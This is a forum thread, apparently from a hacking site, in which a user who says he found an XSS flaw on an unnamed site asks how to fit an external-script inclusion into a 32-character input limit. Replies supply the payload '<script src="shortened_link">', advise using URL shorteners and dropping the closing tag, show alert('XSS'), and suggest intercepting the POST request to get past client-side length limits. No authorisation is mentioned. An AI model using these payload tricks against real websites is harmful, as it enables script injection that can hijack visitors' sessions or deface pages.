Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

What's the shortest code I can write to include an external .js into a webpage?

Basically I found an XSS vulnerability somewhere but the input doesn't allow me to go over 32 characters, what's the shortest code I can use to include a .js in the page? The shorter, the better.

Thanks!
Write a js script as external file. Like :->

document.getElementByTagName["a"].innerHTML = " Hi i am CodeNinja";

then :->
<script src="http://link_of_that_site_where_you_upload_your_script.js </script

Then google :-> short the url and then choose site to short your url

http://link_of_that_site_where_you_uploa..._script.js [<- this will be short url when you choose any site by google

Thanks
<script src="shortened_link"> should do the trick
(Aug 21, 2015 05:05 AM)Sanch Wrote:  <script src="shortened_link"> should do the trick

I already gave an explanation on this man 😝
By the way nice to give a short help

🤝
(Aug 21, 2015 05:19 AM)Aakash_Choudhary Wrote:  I already gave an explanation on this man 😝
By the way nice to give a short help

🤝

Yes but your code was wrong.
alert('XSS');

Or just link to an external JS source file
(Aug 21, 2015 06:21 AM)Sanch Wrote:  Yes but your code was wrong.

Because may be my net problem or may be forum protection i was unable to post full code
(Aug 21, 2015 06:51 AM)Aakash_Choudhary Wrote:  Because may be my net problem or may be forum protection i was unable to post full code

You posted more then needed not less.
(Aug 21, 2015 05:03 AM)Aakash_Choudhary Wrote:  Write a js script as external file. Like :->

document.getElementByTagName["a"].innerHTML = " Hi i am CodeNinja";

then :->
<script src="link_of_that_site_where_you_upload_your_script.js </script

Then google :-> short the url and then choose site to short your url

link_of_that_site_where_you_upload_your_script.js [<- this will be short url when you choose any site by google

Thanks

I know how javascript works, but that's a pretty long way of including a script. Also you used </script> which already takes 9 characters and is unnecessary - you can close the tag by having / at the end of the opening one (<script src="whatever"/>) or you can just leave it out which still works and it executes, except that it throws an error when validating the code, but that's the least of your worries when doing something like this.

(Aug 21, 2015 06:30 AM)SOSA_ Wrote:  alert('XSS');

Or just link to an external JS source file

Yeah but my question was HOW to link to external JS source file with as little code as possible?

(Aug 21, 2015 05:05 AM)Sanch Wrote:  <script src=""> should do the trick

Yeah, I think I'll use this. It's gonna be a tight fit. I just thought there may be some shorthand expression I can use to save some characters in the process.

Anyway thanks to everyone who replied trying to help me!
Cheers!
(Aug 23, 2015 10:48 PM)Alchemystic Wrote:  snip

Why exactly are you limiting yourself to 32 characters? Is it because the search form or whatever won't take more than that?

You can just intercept the post request and add in as many characters you want, or edit the html for the form to allow more than given chars...
Can you hear my voice
come thru the music?
It's being checked server-side after submitting the form. I'm pretty sure you can't get around that.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by NetGoatFrAug 10, 2024 11:26 AM 2 166 Aug 10, 2024 11:26 AM
Last Post: SilentNuke
by TerminatorHDFeb 7, 2015 11:21 AM 0 85 Feb 7, 2015 11:21 AM
Last Post: TerminatorHD
by -zERAiTNov 29, 2014 01:00 AM 20 2,425 Nov 29, 2014 01:00 AM
Last Post: Aakash Choudhary